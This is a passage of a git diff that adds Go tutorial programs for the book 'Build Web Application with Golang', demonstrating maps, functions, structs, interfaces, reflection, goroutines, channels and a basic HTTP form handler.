numbers["three"]) // get values + // It prints: The third number is: 3 + + // map has two return values. For second value, if the key doesn't exist,ok is false,true otherwise. + csharpRating, ok := rating["C#"] + if ok { + fmt.Println("C# is in the map and its rating is ", csharpRating) + } else { + fmt.Println("We have no rating associated with C# in the map") + } + + delete(rating, "C") // delete element with key "c" + fmt.Printf("map rating = %#v\n", rating) +} +func main() { + show_multiple_assignments() + show_bool() + show_different_types() + show_strings() + show_string_manipulation() + show_errors() + show_iota() + set_default_values() + show_arrays() + show_slices() + show_map() +} diff --git a/de/code/src/apps/ch.2.2/what_is_wrong_with_this/main.go b/de/code/src/apps/ch.2.2/what_is_wrong_with_this/main.go new file mode 100644 index 00000000..b435f038 --- /dev/null +++ b/de/code/src/apps/ch.2.2/what_is_wrong_with_this/main.go @@ -0,0 +1,8 @@ +// Example code for Chapter 2.2 from "Build Web Application with Golang" +// Purpose: Try to fix this program. +// From the console, type `go run main.go` +package main + +func main() { + var i int +} diff --git a/de/code/src/apps/ch.2.3/basic_functions/main.go b/de/code/src/apps/ch.2.3/basic_functions/main.go new file mode 100644 index 00000000..6f6a63f4 --- /dev/null +++ b/de/code/src/apps/ch.2.3/basic_functions/main.go @@ -0,0 +1,26 @@ +// Example code for Chapter 2.3 from "Build Web Application with Golang" +// Purpose: Creating a basic function +package main + +import "fmt" + +// return greater value between a and b +func max(a, b int) int { + if a > b { + return a + } + return b +} + +func main() { + x := 3 + y := 4 + z := 5 + + max_xy := max(x, y) // call function max(x, y) + max_xz := max(x, z) // call function max(x, z) + + fmt.Printf("max(%d, %d) = %d\n", x, y, max_xy) + fmt.Printf("max(%d, %d) = %d\n", x, z, max_xz) + fmt.Printf("max(%d, %d) = %d\n", y, z, max(y, z)) // call function here +} diff --git a/de/code/src/apps/ch.2.3/hidden_print_methods/main.go b/de/code/src/apps/ch.2.3/hidden_print_methods/main.go new file mode 100644 index 00000000..0d3df05a --- /dev/null +++ b/de/code/src/apps/ch.2.3/hidden_print_methods/main.go @@ -0,0 +1,14 @@ +// As of Google go 1.1.2, `println()` and `print()` are hidden functions included from the runtime package. +// However it's encouraged to use the print functions from the `fmt` package. +package main + +import "fmt" + +func f() { + fmt.Println("First") + print("Second ") + println(" Third") +} +func main() { + f() +} diff --git a/de/code/src/apps/ch.2.3/import_packages/main.go b/de/code/src/apps/ch.2.3/import_packages/main.go new file mode 100644 index 00000000..c4d72756 --- /dev/null +++ b/de/code/src/apps/ch.2.3/import_packages/main.go @@ -0,0 +1,26 @@ +// Example code for Chapter 2.3 from "Build Web Application with Golang" +// Purpose: Shows different ways of importing a package. +// Note: For the package `only_call_init`, we reference the path from the +// base directory of `$GOPATH/src`. The reason being Golang discourage +// the use of relative paths when import packages. +// BAD: "./only_call_init" +// GOOD: "apps/ch.2.3/import_packages/only_call_init" +package main + +import ( + // `_` will only call init() inside the package only_call_init + _ "apps/ch.2.3/import_packages/only_call_init" + f "fmt" // import the package as `f` + . "math" // makes the public methods and constants global + "mymath" // custom package located at $GOPATH/src/ + "os" // normal import of a standard package + "text/template" // the package takes the name of last folder path, `template` +) + +func main() { + f.Println("mymath.Sqrt(4) =", mymath.Sqrt(4)) + f.Println("E =", E) // references math.E + + t, _ := template.New("test").Parse("Pi^2 = {{.}}") + t.Execute(os.Stdout, Pow(Pi, 2)) +} diff --git a/de/code/src/apps/ch.2.3/import_packages/only_call_init/only_call_init.go b/de/code/src/apps/ch.2.3/import_packages/only_call_init/only_call_init.go new file mode 100644 index 00000000..789a6c79 --- /dev/null +++ b/de/code/src/apps/ch.2.3/import_packages/only_call_init/only_call_init.go @@ -0,0 +1,7 @@ +package only_call_init + +import "fmt" + +func init() { + fmt.Println("only_call_init.init() was called.") +} diff --git a/de/code/src/apps/ch.2.3/main.go b/de/code/src/apps/ch.2.3/main.go new file mode 100644 index 00000000..52be227d --- /dev/null +++ b/de/code/src/apps/ch.2.3/main.go @@ -0,0 +1,142 @@ +// Example code for Chapter 2.3 from "Build Web Application with Golang" +// Purpose: Goes over if, else, switch conditions, loops and defer. +package main + +import "fmt" + +func computedValue() int { + return 1 +} +func show_if() { + fmt.Println("\n#show_if()") + x := computedValue() + integer := 23 + + fmt.Println("x =", x) + fmt.Println("integer =", integer) + if x > 10 { + fmt.Println("x is greater than 10") + } else { + fmt.Println("x is less than 10") + } + + if integer == 3 { + fmt.Println("The integer is equal to 3") + } else if integer < 3 { + fmt.Println("The integer is less than 3") + } else { + fmt.Println("The integer is greater than 3") + } +} +func show_if_var() { + fmt.Println("\n#show_if_var()") + // initialize x, then check if x greater than + if x := computedValue(); x > 10 { + fmt.Println("x is greater than 10") + } else { + fmt.Println("x is less than 10") + } + + // the following code will not compile, since `x` is only accessable with the if/else block + // fmt.Println(x) +} +func show_goto() { + fmt.Println("\n#show_goto()") + // The call to the label switches the goroutine it seems. + i := 0 +Here: // label ends with ":" + fmt.Println(i) + i++ + if i < 10 { + goto Here // jump to label "Here" + } +} +func show_for_loop() { + fmt.Println("\n#show_for_loop()") + sum := 0 + for index := 0; index < 10; index++ { + sum += index + } + fmt.Println("part 1, sum is equal to ", sum) + + sum = 1 + // The compiler will remove the `;` from the line below. + // for ; sum < 1000 ; { + for sum < 1000 { + sum += sum + } + fmt.Println("part 2, sum is equal to ", sum) + + for index := 10; 0 < index; index-- { + if index == 5 { + break // or continue + } + fmt.Println(index) + } + +} +func show_loop_through_map() { + fmt.Println("\n#show_loop_through_map()") + m := map[string]int{ + "one": 1, + "two": 2, + "three": 3, + } + fmt.Println("map value = ", m) + for k, v := range m { + fmt.Println("map's key: ", k) + fmt.Println("map's value: ", v) + } +} +func show_switch() { + fmt.Println("\n#show_switch()") + i := 10 + switch i { + case 1: + fmt.Println("i is equal to 1") + case 2, 3, 4: + fmt.Println("i is equal to 2, 3 or 4") + case 10: + fmt.Println("i is equal to 10") + default: + fmt.Println("All I know is that i is an integer") + } + + integer := 6 + fmt.Println("integer =", integer) + switch integer { + case 4: + fmt.Println("integer == 4") + fallthrough + case 5: + fmt.Println("integer <= 5") + fallthrough + case 6: + fmt.Println("integer <= 6") + fallthrough + case 7: + fmt.Println("integer <= 7") + fallthrough + case 8: + fmt.Println("integer <= 8") + fallthrough + default: + fmt.Println("default case") + } +} +func show_defer() { + fmt.Println("\nshow_defer()") + defer fmt.Println("(last defer)") + for i := 0; i < 5; i++ { + defer fmt.Printf("%d ", i) + } +} +func main() { + show_if() + show_if_var() + show_goto() + show_for_loop() + show_loop_through_map() + show_switch() + show_defer() +} diff --git a/de/code/src/apps/ch.2.3/panic_and_recover/main.go b/de/code/src/apps/ch.2.3/panic_and_recover/main.go new file mode 100644 index 00000000..88398668 --- /dev/null +++ b/de/code/src/apps/ch.2.3/panic_and_recover/main.go @@ -0,0 +1,31 @@ +// Example code for Chapter 2.3 from "Build Web Application with Golang" +// Purpose: Showing how to use `panic()` and `recover()` +package main + +import ( + "fmt" + "os" +) + +var user = os.Getenv("USER") + +func check_user() { + if user == "" { + panic("no value for $USER") + } + fmt.Println("Environment Variable `USER` =", user) +} +func throwsPanic(f func()) (b bool) { + defer func() { + if x := recover(); x != nil { + fmt.Println("Panic message =", x); + b = true + } + }() + f() // if f causes panic, it will recover + return +} +func main(){ + didPanic := throwsPanic(check_user) + fmt.Println("didPanic =", didPanic) +} diff --git a/de/code/src/apps/ch.2.3/pass_by_value_and_pointer/main.go b/de/code/src/apps/ch.2.3/pass_by_value_and_pointer/main.go new file mode 100644 index 00000000..1c9e9c75 --- /dev/null +++ b/de/code/src/apps/ch.2.3/pass_by_value_and_pointer/main.go @@ -0,0 +1,31 @@ +// Example code for Chapter 2.3 from "Build Web Application with Golang" +// Purpose: Shows passing a variable by value and reference +package main + +import "fmt" + +func add_by_value(a int) int { + a = a + 1 + return a +} +func add_by_reference(a *int) int { + *a = *a + 1 + return *a +} +func show_add_by_value() { + x := 3 + fmt.Println("x = ", x) + fmt.Println("add_by_value(x) =", add_by_value(x) ) + fmt.Println("x = ", x) +} +func show_add_by_reference() { + x := 3 + fmt.Println("x = ", x) + // &x pass memory address of x + fmt.Println("add_by_reference(&x) =", add_by_reference(&x) ) + fmt.Println("x = ", x) +} +func main() { + show_add_by_value() + show_add_by_reference() +} diff --git a/de/code/src/apps/ch.2.3/type_function/main.go b/de/code/src/apps/ch.2.3/type_function/main.go new file mode 100644 index 00000000..6645d4fe --- /dev/null +++ b/de/code/src/apps/ch.2.3/type_function/main.go @@ -0,0 +1,44 @@ +// Example code for Chapter 2.3 from "Build Web Application with Golang" +// Purpose: Shows how to define a function type +package main + +import "fmt" + +type testInt func(int) bool // define a function type of variable + +func isOdd(integer int) bool { + if integer%2 == 0 { + return false + } + return true +} + +func isEven(integer int) bool { + if integer%2 == 0 { + return true + } + return false +} + +// pass the function `f` as an argument to another function + +func filter(slice []int, f testInt) []int { + var result []int + for _, value := range slice { + if f(value) { + result = append(result, value) + } + } + return result +} +func init() { + fmt.Println("\n#init() was called.") +} +func main() { + slice := []int{1, 2, 3, 4, 5, 7} + fmt.Println("slice = ", slice) + odd := filter(slice, isOdd) // use function as values + fmt.Println("Odd elements of slice are: ", odd) + even := filter(slice, isEven) + fmt.Println("Even elements of slice are: ", even) +} diff --git a/de/code/src/apps/ch.2.3/variadic_functions/main.go b/de/code/src/apps/ch.2.3/variadic_functions/main.go new file mode 100644 index 00000000..559222fe --- /dev/null +++ b/de/code/src/apps/ch.2.3/variadic_functions/main.go @@ -0,0 +1,20 @@ +// Example code for Chapter 2.3 from "Build Web Application with Golang" +// Purpose: Shows how to return multiple values from a function +package main + +import "fmt" + +// return results of A + B and A * B +func SumAndProduct(A, B int) (int, int) { + return A + B, A * B +} + +func main() { + x := 3 + y := 4 + + xPLUSy, xTIMESy := SumAndProduct(x, y) + + fmt.Printf("%d + %d = %d\n", x, y, xPLUSy) + fmt.Printf("%d * %d = %d\n", x, y, xTIMESy) +} diff --git a/de/code/src/apps/ch.2.4/compare_age/main.go b/de/code/src/apps/ch.2.4/compare_age/main.go new file mode 100644 index 00000000..76772c56 --- /dev/null +++ b/de/code/src/apps/ch.2.4/compare_age/main.go @@ -0,0 +1,43 @@ +// Example code for Chapter 2.4 from "Build Web Application with Golang" +// Purpose: Shows you how to pass and use structs. +package main + +import "fmt" + +// define a new type +type person struct { + name string + age int +} + +// compare age of two people, return the older person and differences of age +// struct is passed by value +func Older(p1, p2 person) (person, int) { + if p1.age > p2.age { + return p1, p1.age - p2.age + } + return p2, p2.age - p1.age +} + +func main() { + var tom person + + // initialization + tom.name, tom.age = "Tom", 18 + + // initialize two values by format "field:value" + bob := person{age: 25, name: "Bob"} + + // initialize two values with order + paul := person{"Paul", 43} + + tb_Older, tb_diff := Older(tom, bob) + tp_Older, tp_diff := Older(tom, paul) + bp_Older, bp_diff := Older(bob, paul) + + fmt.Printf("Of %s and %s, %s is older by %d years\n", tom.name, bob.name, tb_Older.name, tb_diff) + + fmt.Printf("Of %s and %s, %s is older by %d years\n", tom.name, paul.name, tp_Older.name, tp_diff) + + fmt.Printf("Of %s and %s, %s is older by %d years\n", bob.name, paul.name, bp_Older.name, bp_diff) +} diff --git a/de/code/src/apps/ch.2.4/embedded_structs/main.go b/de/code/src/apps/ch.2.4/embedded_structs/main.go new file mode 100644 index 00000000..342e51a5 --- /dev/null +++ b/de/code/src/apps/ch.2.4/embedded_structs/main.go @@ -0,0 +1,39 @@ +// Example code for Chapter 2.4 from "Build Web Application with Golang" +// Purpose: Example of embedded fields +package main + +import "fmt" + +type Human struct { + name string + age int + weight int +} + +type Student struct { + Human // anonymous field, it means Student struct includes all fields that Human has. + speciality string +} + +func main() { + // initialize a student + mark := Student{Human{"Mark", 25, 120}, "Computer Science"} + + // access fields + fmt.Println("His name is ", mark.name) + fmt.Println("His age is ", mark.age) + fmt.Println("His weight is ", mark.weight) + fmt.Println("His speciality is ", mark.speciality) + // modify notes + mark.speciality = "AI" + fmt.Println("Mark changed his speciality") + fmt.Println("His speciality is ", mark.speciality) + // modify age + fmt.Println("Mark become old") + mark.age = 46 + fmt.Println("His age is", mark.age) + // modify weight + fmt.Println("Mark is not an athlete any more") + mark.weight += 60 + fmt.Println("His weight is", mark.weight) +} diff --git a/de/code/src/apps/ch.2.4/embedded_structs2/main.go b/de/code/src/apps/ch.2.4/embedded_structs2/main.go new file mode 100644 index 00000000..9f8e292d --- /dev/null +++ b/de/code/src/apps/ch.2.4/embedded_structs2/main.go @@ -0,0 +1,39 @@ +// Example code for Chapter 2.4 from "Build Web Application with Golang" +// Purpose: Another example of embedded fields +package main + +import "fmt" + +type Skills []string + +type Human struct { + name string + age int + weight int +} + +type Student struct { + Human // struct as embedded field + Skills // string slice as embedded field + int // built-in type as embedded field + speciality string +} + +func main() { + // initialize Student Jane + jane := Student{Human: Human{"Jane", 35, 100}, speciality: "Biology"} + // access fields + fmt.Println("Her name is ", jane.name) + fmt.Println("Her age is ", jane.age) + fmt.Println("Her weight is ", jane.weight) + fmt.Println("Her speciality is ", jane.speciality) + // modify value of skill field + jane.Skills = []string{"anatomy"} + fmt.Println("Her skills are ", jane.Skills) + fmt.Println("She acquired two new ones ") + jane.Skills = append(jane.Skills, "physics", "golang") + fmt.Println("Her skills now are ", jane.Skills) + // modify embedded field + jane.int = 3 + fmt.Println("Her preferred number is", jane.int) +} diff --git a/de/code/src/apps/ch.2.4/embedded_structs_with_name_conflict/main.go b/de/code/src/apps/ch.2.4/embedded_structs_with_name_conflict/main.go new file mode 100644 index 00000000..61df1683 --- /dev/null +++ b/de/code/src/apps/ch.2.4/embedded_structs_with_name_conflict/main.go @@ -0,0 +1,24 @@ +// Example code for Chapter 2.4 from "Build Web Application with Golang" +// Purpose: Shows a name conflict with a embedded field +package main + +import "fmt" + +type Human struct { + name string + age int + phone string // Human has phone field +} + +type Employee struct { + Human // embedded field Human + speciality string + phone string // phone in employee +} + +func main() { + Bob := Employee{Human{"Bob", 34, "777-444-XXXX"}, "Designer", "333-222"} + fmt.Println("Bob's work phone is:", Bob.phone) + // access phone field in Human + fmt.Println("Bob's personal phone is:", Bob.Human.phone) +} diff --git a/de/code/src/apps/ch.2.4/main.go b/de/code/src/apps/ch.2.4/main.go new file mode 100644 index 00000000..f6d3a578 --- /dev/null +++ b/de/code/src/apps/ch.2.4/main.go @@ -0,0 +1,39 @@ +// Example code for Chapter 2.4 from "Build Web Application with Golang" +// Purpose: Shows different ways of creating a struct +package main + +import "fmt" + +func show_basic_struct() { + fmt.Println("\nshow_basic_struct()") + type person struct { + name string + age int + } + + var P person // p is person type + + P.name = "Astaxie" // assign "Astaxie" to the filed 'name' of p + P.age = 25 // assign 25 to field 'age' of p + fmt.Printf("The person's name is %s\n", P.name) // access field 'name' of p + + tom := person{"Tom", 25} + + bob := person{age: 24, name: "Bob"} + + fmt.Printf("tom = %+v\n", tom) + fmt.Printf("bob = %#v\n", bob) +} +func show_anonymous_struct() { + fmt.Println("\nshow_anonymous_struct()") + fmt.Printf("Anonymous struct = %#v\n", struct { + name string + count int + }{ + "counter", 1, + }) +} +func main() { + show_basic_struct() + show_anonymous_struct() +} diff --git a/de/code/src/apps/ch.2.5/attach_methods_to_struct/main.go b/de/code/src/apps/ch.2.5/attach_methods_to_struct/main.go new file mode 100644 index 00000000..cc025a61 --- /dev/null +++ b/de/code/src/apps/ch.2.5/attach_methods_to_struct/main.go @@ -0,0 +1,36 @@ +// Example code from Chapter 2.5 +// Attach method to struct. +package main + +import ( + "fmt" + "math" +) + +type Rectangle struct { + width, height float64 +} + +type Circle struct { + radius float64 +} + +func (r Rectangle) area() float64 { + return r.width * r.height +} + +func (c Circle) area() float64 { + return c.radius * c.radius * math.Pi +} + +func main() { + r1 := Rectangle{12, 2} + r2 := Rectangle{9, 4} + c1 := Circle{10} + c2 := Circle{25} + + fmt.Println("Area of r1 is: ", r1.area()) + fmt.Println("Area of r2 is: ", r2.area()) + fmt.Println("Area of c1 is: ", c1.area()) + fmt.Println("Area of c2 is: ", c2.area()) +} diff --git a/de/code/src/apps/ch.2.5/box_example/main.go b/de/code/src/apps/ch.2.5/box_example/main.go new file mode 100644 index 00000000..c0386729 --- /dev/null +++ b/de/code/src/apps/ch.2.5/box_example/main.go @@ -0,0 +1,73 @@ +package main + +import "fmt" + +const ( + WHITE = iota + BLACK + BLUE + RED + YELLOW +) + +type Color byte + +type Box struct { + width, height, depth float64 + color Color +} + +type BoxList []Box //a slice of boxes + +func (b Box) Volume() float64 { + return b.width * b.height * b.depth +} + +func (b *Box) SetColor(c Color) { + b.color = c +} + +func (bl BoxList) BiggestsColor() Color { + v := 0.00 + k := Color(WHITE) + for _, b := range bl { + if b.Volume() > v { + v = b.Volume() + k = b.color + } + } + return k +} + +func (bl BoxList) PaintItBlack() { + for i, _ := range bl { + bl[i].SetColor(BLACK) + } +} + +func (c Color) String() string { + strings := []string{"WHITE", "BLACK", "BLUE", "RED", "YELLOW"} + return strings[c] +} + +func main() { + boxes := BoxList{ + Box{4, 4, 4, RED}, + Box{10, 10, 1, YELLOW}, + Box{1, 1, 20, BLACK}, + Box{10, 10, 1, BLUE}, + Box{10, 30, 1, WHITE}, + Box{20, 20, 20, YELLOW}, + } + + fmt.Printf("We have %d boxes in our set\n", len(boxes)) + fmt.Println("The volume of the first one is", boxes[0].Volume(), "cm³") + fmt.Println("The color of the last one is", boxes[len(boxes)-1].color.String()) + fmt.Println("The biggest one is", boxes.BiggestsColor().String()) + + fmt.Println("Let's paint them all black") + boxes.PaintItBlack() + fmt.Println("The color of the second one is", boxes[1].color.String()) + + fmt.Println("Obviously, now, the biggest one is", boxes.BiggestsColor().String()) +} diff --git a/de/code/src/apps/ch.2.5/embedded_method/main.go b/de/code/src/apps/ch.2.5/embedded_method/main.go new file mode 100644 index 00000000..ed32c73b --- /dev/null +++ b/de/code/src/apps/ch.2.5/embedded_method/main.go @@ -0,0 +1,31 @@ +package main +import "fmt" + +type Human struct { + name string + age int + phone string +} + +type Student struct { + Human // anonymous field + school string +} + +type Employee struct { + Human + company string +} + +// define a method in Human +func (h *Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) +} + +func main() { + mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} + sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"} + + mark.SayHi() + sam.SayHi() +} diff --git a/de/code/src/apps/ch.2.5/method_overload/main.go b/de/code/src/apps/ch.2.5/method_overload/main.go new file mode 100644 index 00000000..c9b2978c --- /dev/null +++ b/de/code/src/apps/ch.2.5/method_overload/main.go @@ -0,0 +1,36 @@ +package main + +import "fmt" + +type Human struct { + name string + age int + phone string +} + +type Student struct { + Human + school string +} + +type Employee struct { + Human + company string +} + +func (h *Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) +} + +func (e *Employee) SayHi() { + fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, + e.company, e.phone) //Yes you can split into 2 lines here. +} + +func main() { + mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} + sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"} + + mark.SayHi() + sam.SayHi() +} diff --git a/de/code/src/apps/ch.2.5/pass_struct_to_method/main.go b/de/code/src/apps/ch.2.5/pass_struct_to_method/main.go new file mode 100644 index 00000000..4096d4bc --- /dev/null +++ b/de/code/src/apps/ch.2.5/pass_struct_to_method/main.go @@ -0,0 +1,18 @@ +package main + +import "fmt" + +type Rectangle struct { + width, height float64 +} + +func area(r Rectangle) float64 { + return r.width * r.height +} + +func main() { + r1 := Rectangle{12, 2} + r2 := Rectangle{9, 4} + fmt.Println("Area of r1 is: ", area(r1)) + fmt.Println("Area of r2 is: ", area(r2)) +} diff --git a/de/code/src/apps/ch.2.6/interface/main.go b/de/code/src/apps/ch.2.6/interface/main.go new file mode 100644 index 00000000..fc980389 --- /dev/null +++ b/de/code/src/apps/ch.2.6/interface/main.go @@ -0,0 +1,71 @@ +package main +import "fmt" + +type Human struct { + name string + age int + phone string +} + +type Student struct { + Human + school string + loan float32 +} + +type Employee struct { + Human + company string + money float32 +} + +func (h Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) +} + +func (h Human) Sing(lyrics string) { + fmt.Println("La la la la...", lyrics) +} + +func (e Employee) SayHi() { + fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, + e.company, e.phone) //Yes you can split into 2 lines here. +} + +// Interface Men implemented by Human, Student and Employee +type Men interface { + SayHi() + Sing(lyrics string) +} + +func main() { + mike := Student{Human{"Mike", 25, "222-222-XXX"}, "MIT", 0.00} + paul := Student{Human{"Paul", 26, "111-222-XXX"}, "Harvard", 100} + sam := Employee{Human{"Sam", 36, "444-222-XXX"}, "Golang Inc.", 1000} + Tom := Employee{Human{"Sam", 36, "444-222-XXX"}, "Things Ltd.", 5000} + + // define interface i + var i Men + + //i can store Student + i = mike + fmt.Println("This is Mike, a Student:") + i.SayHi() + i.Sing("November rain") + + //i can store Employee + i = Tom + fmt.Println("This is Tom, an Employee:") + i.SayHi() + i.Sing("Born to be wild") + + // slice of Men + fmt.Println("Let's use a slice of Men and see what happens") + x := make([]Men, 3) + // these three elements are different types but they all implemented interface Men + x[0], x[1], x[2] = paul, sam, mike + + for _, value := range x{ + value.SayHi() + } +} diff --git a/de/code/src/apps/ch.2.6/reflection/main.go b/de/code/src/apps/ch.2.6/reflection/main.go new file mode 100644 index 00000000..e0f50f7e --- /dev/null +++ b/de/code/src/apps/ch.2.6/reflection/main.go @@ -0,0 +1,33 @@ +package main + +import ( + "fmt" + "reflect" +) + +func show_interface_none() { + fmt.Println("\nshow_interface_none()") + var a interface{} + a = "string" + a = 1 + a = false + fmt.Println("a =", a) +} +func show_reflection() { + fmt.Println("\nshow_reflection()") + var x float64 = 3.4 + v := reflect.ValueOf(x) + fmt.Println("type:", v.Type()) + fmt.Println("kind is float64:", v.Kind() == reflect.Float64) + fmt.Println("value:", v.Float()) + + p := reflect.ValueOf(&x) + newX := p.Elem() + newX.SetFloat(7.1) + fmt.Println("newX =", newX) + fmt.Println("newX float64() value:", newX.Float()) +} +func main() { + show_interface_none() + show_reflection() +} diff --git a/de/code/src/apps/ch.2.6/stringer_interface/main.go b/de/code/src/apps/ch.2.6/stringer_interface/main.go new file mode 100644 index 00000000..310eb0ee --- /dev/null +++ b/de/code/src/apps/ch.2.6/stringer_interface/main.go @@ -0,0 +1,22 @@ +package main + +import ( + "fmt" + "strconv" +) + +type Human struct { + name string + age int + phone string +} + +// Human implemented fmt.Stringer +func (h Human) String() string { + return "Name:" + h.name + ", Age:" + strconv.Itoa(h.age) + " years, Contact:" + h.phone +} + +func main() { + Bob := Human{"Bob", 39, "000-7777-XXX"} + fmt.Println("This Human is : ", Bob) +} diff --git a/de/code/src/apps/ch.2.6/switch_type_check/main.go b/de/code/src/apps/ch.2.6/switch_type_check/main.go new file mode 100644 index 00000000..9d781675 --- /dev/null +++ b/de/code/src/apps/ch.2.6/switch_type_check/main.go @@ -0,0 +1,38 @@ +package main + +import ( + "fmt" + "strconv" +) + +type Element interface{} +type List []Element + +type Person struct { + name string + age int +} + +func (p Person) String() string { + return "(name: " + p.name + " - age: " + strconv.Itoa(p.age) + " years)" +} + +func main() { + list := make(List, 3) + list[0] = 1 //an int + list[1] = "Hello" //a string + list[2] = Person{"Dennis", 70} + + for index, element := range list { + switch value := element.(type) { + case int: + fmt.Printf("list[%d] is an int and its value is %d\n", index, value) + case string: + fmt.Printf("list[%d] is a string and its value is %s\n", index, value) + case Person: + fmt.Printf("list[%d] is a Person and its value is %s\n", index, value) + default: + fmt.Println("list[%d] is of a different type", index) + } + } +} diff --git a/de/code/src/apps/ch.2.6/type_check/main.go b/de/code/src/apps/ch.2.6/type_check/main.go new file mode 100644 index 00000000..bb051f47 --- /dev/null +++ b/de/code/src/apps/ch.2.6/type_check/main.go @@ -0,0 +1,37 @@ +package main + +import ( + "fmt" + "strconv" +) + +type Element interface{} +type List []Element + +type Person struct { + name string + age int +} + +func (p Person) String() string { + return "(name: " + p.name + " - age: " + strconv.Itoa(p.age) + " years)" +} + +func main() { + list := make(List, 3) + list[0] = 1 // an int + list[1] = "Hello" // a string + list[2] = Person{"Dennis", 70} + + for index, element := range list { + if value, ok := element.(int); ok { + fmt.Printf("list[%d] is an int and its value is %d\n", index, value) + } else if value, ok := element.(string); ok { + fmt.Printf("list[%d] is a string and its value is %s\n", index, value) + } else if value, ok := element.(Person); ok { + fmt.Printf("list[%d] is a Person and its value is %s\n", index, value) + } else { + fmt.Println("list[%d] is of a different type", index) + } + } +} diff --git a/de/code/src/apps/ch.2.7/buffered_channel/main.go b/de/code/src/apps/ch.2.7/buffered_channel/main.go new file mode 100644 index 00000000..f65e06f2 --- /dev/null +++ b/de/code/src/apps/ch.2.7/buffered_channel/main.go @@ -0,0 +1,13 @@ +// Example code for Chapter 2.7 from "Build Web Application with Golang" +// Purpose: Shows how to use a buffered channel +package main + +import "fmt" + +func main() { + c := make(chan int, 2) // change 2 to 1 will have runtime error, but 3 is fine + c <- 1 + c <- 2 + fmt.Println(<-c) + fmt.Println(<-c) +} diff --git a/de/code/src/apps/ch.2.7/goroutine/main.go b/de/code/src/apps/ch.2.7/goroutine/main.go new file mode 100644 index 00000000..bdf1f5c1 --- /dev/null +++ b/de/code/src/apps/ch.2.7/goroutine/main.go @@ -0,0 +1,20 @@ +// Example code for Chapter 2.7 from "Build Web Application with Golang" +// Purpose: Shows how to launch a simple gorountine +package main + +import ( + "fmt" + "runtime" +) + +func say(s string) { + for i := 0; i < 5; i++ { + runtime.Gosched() + fmt.Println(s) + } +} + +func main() { + go say("world") // create a new goroutine + say("hello") // current goroutine +} diff --git a/de/code/src/apps/ch.2.7/range_and_close_channel/main.go b/de/code/src/apps/ch.2.7/range_and_close_channel/main.go new file mode 100644 index 00000000..ce2c4311 --- /dev/null +++ b/de/code/src/apps/ch.2.7/range_and_close_channel/main.go @@ -0,0 +1,24 @@ +// Example code for Chapter 2.7 from "Build Web Application with Golang" +// Purpose: Shows how to close and interate through a channel +package main + +import ( + "fmt" +) + +func fibonacci(n int, c chan int) { + x, y := 1, 1 + for i := 0; i < n; i++ { + c <- x + x, y = y, x+y + } + close(c) +} + +func main() { + c := make(chan int, 10) + go fibonacci(cap(c), c) + for i := range c { + fmt.Println(i) + } +} diff --git a/de/code/src/apps/ch.2.7/select_channel/main.go b/de/code/src/apps/ch.2.7/select_channel/main.go new file mode 100644 index 00000000..50b23781 --- /dev/null +++ b/de/code/src/apps/ch.2.7/select_channel/main.go @@ -0,0 +1,30 @@ +// Example code for Chapter 2.7 from "Build Web Application with Golang" +// Purpose: Shows how to use `select` +package main + +import "fmt" + +func fibonacci(c, quit chan int) { + x, y := 1, 1 + for { + select { + case c <- x: + x, y = y, x+y + case <-quit: + fmt.Println("quit") + return + } + } +} + +func main() { + c := make(chan int) + quit := make(chan int) + go func() { + for i := 0; i < 10; i++ { + fmt.Println(<-c) + } + quit <- 0 + }() + fibonacci(c, quit) +} diff --git a/de/code/src/apps/ch.2.7/timeout/main.go b/de/code/src/apps/ch.2.7/timeout/main.go new file mode 100644 index 00000000..4e937dbb --- /dev/null +++ b/de/code/src/apps/ch.2.7/timeout/main.go @@ -0,0 +1,27 @@ +// Example code for Chapter 2.7 from "Build Web Application with Golang" +// Purpose: Shows how to create and use a timeout +package main + +import ( + "fmt" + "time" +) + + +func main() { + c := make(chan int) + o := make(chan bool) + go func() { + for { + select { + case v := <-c: + fmt.Println(v) + case <-time.After(5 * time.Second): + fmt.Println("timeout") + o <- true + break + } + } + }() + <-o +} diff --git a/de/code/src/apps/ch.2.7/unbuffered_channel/main.go b/de/code/src/apps/ch.2.7/unbuffered_channel/main.go new file mode 100644 index 00000000..455fd4ba --- /dev/null +++ b/de/code/src/apps/ch.2.7/unbuffered_channel/main.go @@ -0,0 +1,24 @@ +// Example code for Chapter 2.7 from "Build Web Application with Golang" +// Purpose: Shows how to create and use a unbuffered channel +package main + +import "fmt" + +func sum(a []int, c chan int) { + total := 0 + for _, v := range a { + total += v + } + c <- total // send total to c +} + +func main() { + a := []int{7, 2, 8, -9, 4, 0} + + c := make(chan int) + go sum(a[:len(a)/2], c) + go sum(a[len(a)/2:], c) + x, y := <-c, <-c // receive from c + + fmt.Println(x, y, x+y) +} diff --git a/de/code/src/apps/ch.3.2/main.go b/de/code/src/apps/ch.3.2/main.go new file mode 100644 index 00000000..f8af3fdf --- /dev/null +++ b/de/code/src/apps/ch.3.2/main.go @@ -0,0 +1,31 @@ +// Example code for Chapter 3.2 from "Build Web Application with Golang" +// Purpose: Shows how to acces the form values from the request +package main + +import ( + "fmt" + "log" + "net/http" + "strings" +) + +func sayhelloName(w http.ResponseWriter, r *http.Request) { + r.ParseForm() // parse arguments, you have to call this by yourself + fmt.Println(r.Form) // print form information in server side + fmt.Println("path", r.URL.Path) + fmt.Println("scheme", r.URL.Scheme) + fmt.Println(r.Form["url_long"]) + for k, v := range r.Form { + fmt.Println("key:", k) + fmt.Println("val:", strings.Join(v, "")) + } + fmt.Fprintf(w, "Hello astaxie!") // send data to client side +} + +func main() { + http.HandleFunc("/", sayhelloName) // set router + err := http.ListenAndServe(":9090", nil) // set listen port + if err != nil { + log.Fatal("ListenAndServe: ", err) + } +} diff --git a/de/code/src/apps/ch.3.4/main.go b/de/code/src/apps/ch.3.4/main.go new file mode 100644 index 00000000..fb3a5c72 --- /dev/null +++ b/de/code/src/apps/ch.3.4/main.go @@ -0,0 +1,30 @@ +// Example code for Chapter 3.4 from "Build Web Application with Golang" +// Purpose: Shows how to create a handler for `http.ListenAndServe()` +// Run `go run main.go` then access 